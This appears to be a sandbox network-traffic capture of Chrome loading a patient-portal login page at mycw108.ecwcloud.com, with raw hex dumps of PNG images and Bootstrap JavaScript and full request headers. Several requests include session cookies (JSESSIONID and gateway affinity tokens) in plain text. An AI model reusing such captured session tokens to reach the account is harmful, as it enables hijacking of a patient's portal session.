2024-04-24 12:45:08 UTC	16057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 60 00 00 09 60 08 06 00 00 00 0c 4d 0c 6e 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 20 00 49 44 41 54 78 9c ec dd 7b 90 5c e5 7d 27 ee d7 54 0a 10 c8 48 a0 20 03 8e 3c 63 41 80 c0 62 0d f8 82 17 16 a4 13 13 93 e0 b5 25 db 71 a8 d8 29 4b 54 ec b2 93 cd 46 72 8e b7 76 ed 9c 0a c2 d5 c9 fe b6 e2 5e a4 64 93 d8 e5 a4 24 bc b1 53 f8 c6 10 07 6f f0 65 7b 04 81 58 b1 8d 46 68 b1 91 83 c5 0c 8a b9 1a 2c d9 dc ff e1 57 ef 70 1a 0f 42 97 b9 bc a7 fb 74 f7 f3 54 75 09 84 38 fd 9e f7 9c e9 19 4d 7f e6 f3 7d d9 73 cf 3d 17 00 00 00 00 00 00 00 00 00 98 bd a3 ec 19 00 00 00 00 00 00 00 00 c0 dc 08 60 01 00 00 00 00 00 00 00 00 cc 91 00 16 00 00 00 00 00 00 00 00 c0 1c 09 60 01 00 00 00 Data Ascii: PNGIHDR``MnpHYs.#.#x?v IDATx{\}'TH <cAb%q)KTFrv^d$Soe{XFh,WpBtTu8M}s=``
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 8c 1a 4c 64 65 f9 b8 7a 5a 43 56 7c 8c f6 fb 37 a3 ca bd 4f f3 23 e4 00 15 88 61 8b 18 ea 49 31 76 ec d4 33 7e 61 aa f9 a5 0e 23 cc e6 2a 06 4d 52 06 b0 52 07 17 f6 ec da 93 f4 78 33 35 fe f5 6f 25 1d 73 d5 8b 0d 69 83 68 7a 18 2b 06 a2 e2 68 c0 d4 6d 68 87 32 d7 d1 79 55 8e cb 4b 21 c5 c8 d7 d9 88 af cb 21 6c 4f 70 8c f4 ea d4 7e 15 c7 4b a6 72 dc cb 8f eb c8 9a df b6 fe 5d c9 8f 19 bf 1e 18 bb ee eb 49 8e f5 aa 73 5f 1a c0 9a 2e 7e 1e 88 8f f6 6b 4a 0c 27 de f3 ed ef 85 7f fd d6 ee 9e 6f 8d 03 28 c5 16 ac ad 36 03 00 a0 3a 02 58 00 40 47 d5 20 7c 75 a0 e9 0d 59 d7 16 59 3e 59 06 94 da 0d 59 fb fa ec 0e 19 35 7a 10 a8 bb 18 ea 49 d1 a2 71 ee c5 af 09 43 e7 2e 9f d7 31 da e3 89 62 13 4c 7c 43 fc e8 05 c7 4c fd fe c9 43 4b c3 eb ae b8 a8 f2 f0 42 7c 33 38 Data Ascii: LdezZCV\|7O#aI1v3~a#*MRRx35o%sihz+hmh2yUK!!lOp~Kr]Is_.~kJ'o(6:X@G \|uYY>YY5zIqC.1bL\|CLCKB\|38
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 7e e9 bc 00 00 40 3c 39 9f a3 0d 00 f0 93 9a 00 d1 b6 18 0a 0e 05 2a 4f 8d a9 fd 1f f3 b2 73 e5 1f 55 35 81 ac 40 40 cb d4 f9 73 30 b2 6a fe 8e fc 53 e6 2e c9 8d 9d 02 a2 49 2e 42 f7 bb 76 80 b9 3c 27 33 a2 3b 93 e5 a2 be 3c 02 77 13 4b db 89 1d ef 6e 75 ed 02 f1 17 5b 3e 77 e5 79 fc 28 e7 ce 1b 62 ba a5 9d 84 9b 16 3e fc 8a 99 f6 a7 e9 9e aa a0 40 f8 0a 00 00 a0 71 52 19 aa cf d5 3b 7c df 72 af 3e 12 98 79 fb f9 15 21 fd 4c fb 6e 1d 55 b7 41 ce 47 e7 dd f7 a2 f3 9d ef 8a 1b 87 7a ba 6a 6c 53 2a 76 56 44 3c c6 f8 99 b7 d9 de 4c 6b e4 7b 8e 84 c7 16 e4 bd 6c 3e fd a0 cc b7 fb 01 44 11 2d 08 01 00 f0 20 2a 60 01 00 7c 23 c6 2a 5f 01 50 d6 6b 58 9a 13 cc b1 7d 37 b4 dc 71 2d 15 98 dc b8 48 ec f5 56 74 d1 24 0b 40 05 13 1f 8f e9 30 90 bc a6 27 e7 df e5 81 2d Data Ascii: ~@<9OsU5@@s0jS.I.Bv<'3;<wKnu[>wy(b>@qR;\|r>y!LnUAGzjlSvVD<Lk{l>D- `\|#_PkX}7q-HVt$@0'-
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: df 6e fb 35 81 00 c0 69 3f 00 08 52 97 7c ff fd f7 ec 3d 00 54 92 9e 90 f6 b0 88 fc 91 35 01 7c cb 1a 67 f7 ac fd e3 ec 2e 66 59 d6 22 d9 b2 d4 3d 27 f7 f4 14 67 52 ea 20 47 ef 79 a8 f4 a0 e4 bf b6 5a 3e 2f 2e b7 c6 21 9e 49 0b 9c 4d 22 af 91 1b 7a 76 36 5e e4 74 db 7e c0 ff 68 f0 aa db 3d bd a4 43 af ce 8c 18 04 00 00 00 aa 49 83 58 5b 96 ad 97 e2 0f 3e 61 e9 e0 2a da 89 7b c8 94 51 8e d7 8d ce a4 07 c7 e6 3f 36 fb 9c 87 d9 dc f2 8c 45 eb 77 c8 f2 ac 25 f2 bb 37 a6 d9 7e ed e7 53 66 56 eb 20 1f 10 2c 32 f2 32 2f 61 b3 01 20 f8 10 c0 02 80 4a d2 13 d2 f4 64 42 29 dd af 00 77 68 15 1b 69 b5 90 77 d2 ba 9c 77 65 f5 ec 15 ae fa 09 48 9e 3e c2 a7 a7 39 b5 9d fc c9 7f 9e b4 fe b9 79 db e6 8e 15 0e b5 88 99 39 e4 49 ab 1b 18 50 5d f5 c3 eb 4b ef 07 fa 4b 8b 76 Data Ascii: n5i?R\|=T5\|g.fY"='gR GyZ>/.!IM"zv6^t~h=CIX[>a*{Q?6Ew%7~SfV ,22/a JdB)whiwweH>9y9IP]KKv
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: b3 fe b5 8d b2 49 3a 86 b0 6d 7a 3b 7e 9c 10 0e 5f 8d ab 08 4a 7a 97 0c 8a 01 00 00 00 00 00 7c 2b 21 31 41 86 97 8e 91 ec 81 39 fc 10 f8 9c 86 77 08 5f 79 2f 7c 75 b4 9e 23 fa 4a d1 a3 c5 7c 07 ee 4f 37 f9 bd 00 00 9c 47 00 0b f0 06 02 58 80 05 5a 9c e3 fe c9 9e bf 9f b3 c2 f8 31 93 2f 62 47 9f df e9 ae ce bb 16 4e 96 16 ad 93 fc 5e 0a 00 00 00 00 00 00 69 76 5a 33 e9 55 94 2f 7d 83 37 50 0c 9f d2 f1 75 57 fc 3c 60 db cd 7f 5c bd 8d f0 95 45 da a4 b5 95 b1 b3 26 c8 65 f9 5d e3 e2 7e d0 64 b7 87 02 41 be f0 06 e0 28 02 58 80 37 10 c0 02 ea e9 83 a9 29 fa 20 e6 76 3a 8a 70 69 f9 42 a3 57 d9 be 73 07 7e 9c 7c 4c 77 73 16 95 17 87 bf 58 04 00 00 00 00 00 c0 df 75 bd 2e 5b 46 3e 3a 2e dc 39 1c fe a2 df c3 6a 20 4a bb 52 59 4d bf e3 9e 3f 71 36 e1 2b 8b e5 15 Data Ascii: I:mz;~_Jz\|+!1A9w_y/\|u#J\|O7GXZ1/bGN^ivZ3U/}7PuW<`\E&e]~dA(X7) v:piBWs~\|LwsXu.[F>:.9j JRYM?q6+
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: d5 47 96 79 32 78 25 f5 41 a2 58 27 a8 c4 62 55 e5 9b f2 da e3 af 38 76 fe 48 e9 fb 2d 0d 56 1d db f1 ea 44 74 ba 8c 57 c7 51 c6 a1 43 f5 0d 5c c2 bf 4a aa ca aa fd 5e 10 78 0b 01 2c 38 4e 13 ad 22 32 83 95 80 1b 69 6b 52 4d c7 5b 45 5b dd fe e9 ed 2d 31 07 9d 74 e7 81 76 ec 32 c9 d4 bd 7b ed 83 79 3c d1 f6 d8 ba 43 0b 00 00 00 00 00 00 00 10 bd cf f7 1d 94 ff e8 ff 1b 2a 08 5b e9 7b 9a 3e c5 fd 4e da c1 c9 6a 5e 7a c7 a3 f5 fa e9 b0 9e 72 79 9f 6e 11 fd 39 2b 9a 1c c0 18 02 59 f0 14 e6 11 c1 0d 18 43 08 d7 d2 0f 5b da c1 c9 aa 0f b7 da f5 2a d6 76 b1 eb 97 af 35 1e be 92 fa 7b 37 e1 b3 dd fb 8d 5f 1b 1a a7 6d b1 09 5f 01 00 00 00 00 00 00 40 ec 5a b4 4e 0a 4f 1b 98 77 e7 13 54 13 b6 48 cf ee 20 fd 26 dc 28 67 24 25 3a 56 70 2f 85 af b4 4b d8 d5 43 7b 47 Data Ascii: Gy2x%AX'bU8vH-VDtWQC\J^x,8N"2ikRM[E[-1tv2{y<C[{>Nj^zryn9+YC[v5{7_m_@ZNOwTH &(g$%:Vp/KC{G
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: b5 f1 6b 51 fc 87 46 1b 45 1e aa ec 4d fb ce 57 af 4f e5 50 2b fd ef dc 59 ef d9 97 fe bd 97 1c 4a da e6 8f b7 89 62 76 62 fb 61 99 db a9 b7 71 d1 0a b9 a5 e8 ab df 16 6a 1c eb 74 bf c7 38 06 de 54 8b 69 01 00 00 a6 ea df 35 a7 fd 85 1e 3d 6d 71 d4 13 1f 26 d3 b6 ce e1 f2 ce 27 60 07 9e 96 5b 9d 96 97 a7 e5 69 31 d9 99 71 34 f7 42 75 fd fe 5e 0b 6b da a2 af 8c cf cc 3a 7b ce 89 c3 87 c3 4c 5e 9e 6a 0c 98 16 84 fe 45 37 42 eb 86 e8 a9 0f 4d 74 7b 28 6c cd 8c d6 7f 37 54 af 68 ac eb 15 85 ae af ed 49 dd 2d b5 9a d4 36 35 5c 15 83 2a e6 fb 63 77 ad dd 21 ab e7 7c 2a ed fb de 5e e8 eb 6d fa f8 cb 42 7f 2e 6c a3 09 53 01 2b 91 80 65 43 24 5f c1 2d f4 61 27 6e e3 38 69 1c de 54 7a 44 dd 6d db bb d6 b1 85 45 76 91 f9 e3 3f 30 c6 0c 7b d2 be f3 b0 ce f1 1d 1b 25 Data Ascii: kQFEMWOP+YJbvbaqjt8Ti5=mq&'`[i1q4Bu^k:{L^jE7BMt{(l7ThI-65\cw!\|^mB.lS+eC$_-a'n8iTzDmEv?0{%
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 45 b7 20 e8 86 35 48 bf 52 16 0a b0 8c a7 98 88 a6 19 f5 e0 27 c4 04 8b 37 44 29 de f2 58 6a 0e 95 64 14 68 ae 07 ee fe 7f 7c 6a 97 fd 70 c2 56 fe ae 3c b1 70 25 37 f7 0b d6 42 2a 16 9f 57 25 d3 c1 8c ec 81 27 62 8d 3e 05 00 00 00 00 00 00 00 00 00 00 00 a0 61 1e fe a3 c9 b9 df bd 74 bd f1 3b 9c 46 07 e3 eb 77 9c 5c f5 44 d2 d3 16 0f 84 af ff 71 78 84 bd af 01 72 c0 07 5f 63 56 22 b9 cb 9e f8 9a b8 8b 9b 8b c3 da 33 82 ea 71 70 4f 0a 4e 93 b2 50 80 05 86 c1 55 c9 b7 bf 31 72 31 11 2f 17 ab 2f 50 ee ee 6c 2a 3f 54 a6 fa c2 1d 4e bf 72 c4 1b 25 17 a9 f1 c2 fd 82 39 b2 92 ab a6 d5 5a dd cd 45 75 60 3d 8e e4 bd 2f 48 7b 71 dd d0 35 93 db 88 0e ef 73 f3 da b5 8e bf 76 b5 e3 af d9 da cd ab 57 a9 f1 f4 69 79 2f 45 c9 9d 7f 26 f4 9a 3f b7 dd b6 83 96 32 8d 18 de Data Ascii: E 5HR'7D)Xjdh\|jpV<p%7BW%'b>at;Fw\Dqxr_cV"3qpONPU1r1//Pl?TNr%9ZEu`=/H{q5svWiy/E&?2
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 36 8e 06 e0 0e 3f 19 9e 15 6c e7 ac 1b 2f 96 ce 1d 3b c4 d4 ee e3 9f 7e 29 cf 94 ef 64 f6 6d 34 a0 f9 c7 a4 f1 2e 05 8b f8 bb 7d d4 20 b9 ff fd cd 8c b4 03 bc fd e1 2e 4a 10 7a 5c ff a1 59 be ee bf 9d 3e 5a 56 16 53 f0 d1 b8 eb 03 52 f6 c6 fa b8 26 9f 58 f8 d8 ab f2 1f cf fd 34 ea fb 4f b9 f3 2a 23 88 4b cf 37 9b e7 b8 27 7d 77 72 dc cf 35 7f 76 f4 d3 b8 3e 3e 5c 67 a2 88 94 16 05 0a df d2 43 ff e2 d2 92 5a 3f 4c a1 ef 02 b0 a4 29 08 6b 4e 51 a0 70 7a f3 a4 03 67 65 96 0c d4 8b 2e 54 bd 73 fa 4a ce c5 b9 a7 d4 09 b6 22 6d 65 6b 9a 91 4b 2f 1a 8c a5 29 2d 35 aa 3a ff b2 91 ae 09 c6 d2 0c 62 e1 d6 19 46 13 0e ba 01 00 00 00 c0 5d 2e 1c d4 5b e4 23 eb bf 13 c0 d9 55 1f 6e b0 7d 94 b2 d2 3a cb 93 33 a7 18 d7 a7 95 ef 31 b6 cf be db f4 23 3d 02 f3 00 91 eb fb Data Ascii: 6?l/;~)dm4.} .Jz\Y>ZVSR&X4O*#K7'}wr5v>>\gCZ?L)kNQpzge.TsJ"mekK/)-5:bF].[#Un}:31#=
2024-04-24 12:45:09 UTC	16384	IN	Data Raw: 9a e3 68 8e 0e c0 2a 0a 14 ea 91 e0 4c 07 34 05 36 0a 77 47 1a 8e 6f ff e8 5a d9 57 5d 9f f0 1d 66 87 f3 92 12 fa 7c 67 92 91 97 49 00 56 04 ba f5 0b 3f a2 1a 00 c2 61 7e 51 f9 b7 17 16 46 34 5e 7a 12 c1 2c b9 20 09 2c 3b 13 fa 85 e5 9b 87 2e 0b eb 04 4c 68 c9 40 2d f5 11 ed 17 ab 5a f6 23 5c e6 97 b9 b1 04 7c 45 4b 4f e8 f4 ba 24 37 78 ef 70 be 1c 8c b4 fc 07 e2 c7 2c 0d 16 af 00 89 50 fa 85 f9 b6 85 2d 27 d9 c2 39 01 e5 b5 72 28 70 8e cd 2f be 1a 71 5b 22 3d 99 6d 05 f3 bd a9 6b 90 44 10 08 b0 eb 8f ef 4b c1 9d 4d 25 75 12 1d 04 10 5a 72 30 11 fb 16 3d 41 b5 e7 bd 15 c6 f5 70 f7 19 5e 5e 87 36 fd 2e f2 92 8c a1 65 9d 13 f5 da 0e 3d 89 ba 7f d3 c6 b0 4e fa 87 1e 63 68 39 bf 44 b5 35 94 79 cc 15 49 e0 15 9c 4d 5f 4b 55 8b fe 10 6c 63 dd d2 b5 51 9d 8c 0f Data Ascii: h*L46wGoZW]f\|gIV?a~QF4^z, ,;.Lh@-Z#\\|EKO$7xp,P-'9r(p/q["=mkDKM%uZr0=Ap^^6.e=Nch9D5yIM_KUlcQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	50086	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	790	OUT	GET /portal14763/script/newLogin/bootstrap.bundle.min.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:08 UTC	461	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: text/javascript Content-Length: 84378 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:08 GMT Accept-Ranges: bytes ETag: W/"84378-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:08 UTC	15923	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 36 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v4.6.0 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 5d 5b 68 72 65 66 3d 22 23 27 2b 74 2e 69 64 2b 27 22 5d 2c 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 5d 5b 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 27 2b 74 2e 69 64 2b 27 22 5d 27 29 29 3b 66 6f 72 28 76 61 72 20 6e 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 5d 27 29 29 2c Data Ascii: =this._getConfig(e),this._triggerArray=[].slice.call(document.querySelectorAll('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'));for(var n=[].slice.call(document.querySelectorAll('[data-toggle="collapse"]')),
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 74 3d 22 63 6f 75 6e 74 65 72 63 6c 6f 63 6b 77 69 73 65 22 3b 66 75 6e 63 74 69 6f 6e 20 6b 74 28 74 2c 65 2c 6e 2c 69 29 7b 76 61 72 20 6f 3d 5b 30 2c 30 5d 2c 72 3d 2d 31 21 3d 3d 5b 22 72 69 67 68 74 22 2c 22 6c 65 66 74 22 5d 2e 69 6e 64 65 78 4f 66 28 69 29 2c 61 3d 74 2e 73 70 6c 69 74 28 2f 28 5c 2b 7c 5c 2d 29 2f 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 72 69 6d 28 29 7d 29 29 2c 73 3d 61 2e 69 6e 64 65 78 4f 66 28 6c 74 28 61 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 2d 31 21 3d 3d 74 2e 73 65 61 72 63 68 28 2f 2c 7c 5c 73 2f 29 7d 29 29 29 3b 61 5b 73 5d 26 26 2d 31 3d 3d 3d 61 5b 73 5d 2e 69 6e 64 65 78 4f 66 28 22 2c 22 29 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 4f 66 66 Data Ascii: t="counterclockwise";function kt(t,e,n,i){var o=[0,0],r=-1!==["right","left"].indexOf(i),a=t.split(/(\+\|\-)/).map((function(t){return t.trim()})),s=a.indexOf(lt(a,(function(t){return-1!==t.search(/,\|\s/)})));a[s]&&-1===a[s].indexOf(",")&&console.warn("Off
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 72 6f 70 64 6f 77 6e 2e 64 61 74 61 2d 61 70 69 22 2c 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 5d 27 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 46 74 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 69 2e 64 65 66 61 75 6c 74 28 74 68 69 73 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 29 2e 6f 6e 28 22 63 6c 69 63 6b 2e 62 73 2e 64 72 6f 70 64 6f 77 6e 2e 64 61 74 61 2d 61 70 69 22 2c 22 2e 64 72 6f 70 64 6f 77 6e 20 66 6f 72 6d 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 7d 29 29 2c 69 2e 64 65 66 61 75 6c 74 2e 66 6e 5b 4f 74 5d 3d 46 74 Data Ascii: ropdown.data-api",'[data-toggle="dropdown"]',(function(t){t.preventDefault(),t.stopPropagation(),Ft._jQueryInterface.call(i.default(this),"toggle")})).on("click.bs.dropdown.data-api",".dropdown form",(function(t){t.stopPropagation()})),i.default.fn[Ot]=Ft
2024-04-24 12:45:08 UTC	16384	IN	Data Raw: 64 65 73 63 72 69 62 65 64 62 79 22 29 2c 69 2e 64 65 66 61 75 6c 74 28 65 2e 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 48 49 44 44 45 4e 29 2c 6e 75 6c 6c 21 3d 3d 65 2e 5f 70 6f 70 70 65 72 26 26 65 2e 5f 70 6f 70 70 65 72 2e 64 65 73 74 72 6f 79 28 29 2c 74 26 26 74 28 29 7d 3b 69 66 28 69 2e 64 65 66 61 75 6c 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 6f 29 2c 21 6f 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 29 7b 69 66 28 69 2e 64 65 66 61 75 6c 74 28 6e 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 73 68 6f 77 22 29 2c 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 Data Ascii: describedby"),i.default(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(i.default(this.element).trigger(o),!o.isDefaultPrevented()){if(i.default(n).removeClass("show"),"ontouchstart"in document.documentEleme
2024-04-24 12:45:08 UTC	2919	IN	Data Raw: 65 61 6e 22 2c 61 75 74 6f 68 69 64 65 3a 22 62 6f 6f 6c 65 61 6e 22 2c 64 65 6c 61 79 3a 22 6e 75 6d 62 65 72 22 7d 2c 76 65 3d 7b 61 6e 69 6d 61 74 69 6f 6e 3a 21 30 2c 61 75 74 6f 68 69 64 65 3a 21 30 2c 64 65 6c 61 79 3a 35 30 30 7d 2c 5f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 73 65 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 65 3d 74 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 65 2e 73 68 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 65 3d 69 Data Ascii: ean",autohide:"boolean",delay:"number"},ve={animation:!0,autohide:!0,delay:500},_e=function(){function t(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var e=t.prototype;return e.show=function(){var t=this,e=i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	50087	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	568	OUT	GET /portal14763/images/newLogin/new-to-portal.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:08 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:08 GMT Content-Type: image/png Content-Length: 2462 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:08 GMT Accept-Ranges: bytes ETag: W/"2462-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:08 UTC	2462	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4b 00 00 00 3c 08 06 00 00 00 2e 69 47 93 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 09 55 49 44 41 54 78 5e ed 9b 7b 70 94 d5 15 c0 cf fd 76 b3 09 c9 6e b2 fb ed 86 64 53 20 bc a4 10 69 d0 52 e9 08 ac 52 0c 4c f1 81 a6 18 d0 80 85 1a 2a 96 61 2c 45 ac fe 81 52 47 19 5a 45 c0 96 b6 33 52 a9 04 db 71 02 9d 5a 04 8a 35 95 0e 20 05 a4 1d 50 13 cb bb 30 92 27 bb df ee e6 c1 26 d9 fd 6e cf dd 64 43 b2 d9 ef b5 8f 2c 74 b9 33 cc 86 fd ce bd f7 dc df 9e 73 ee b9 8f 8f c0 ad a2 9a 00 51 2d 79 4b 10 92 02 ab d9 ed 9e 1c 08 d0 49 14 60 24 50 62 23 44 34 e3 df 66 02 44 0f 40 05 4a 39 27 10 7a 15 ff 7f 59 c7 d1 b3 60 30 9c cd cd ca aa 4b f6 ef 35 28 b0 9a 5c de e9 22 0d cc c3 c1 ce c0 7f 77 44 39 68 Data Ascii: PNGIHDRK<.iGsBIT\|dUIDATx^{pvndS iRRL*a,ERGZE3RqZ5 P0'&ndC,t3sQ-yKI`$Pb#D4fD@J9'zY`0K5(\"wD9h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	50084	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:08 UTC	783	OUT	GET /portal14763/script/newLogin/bootstrap.min.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
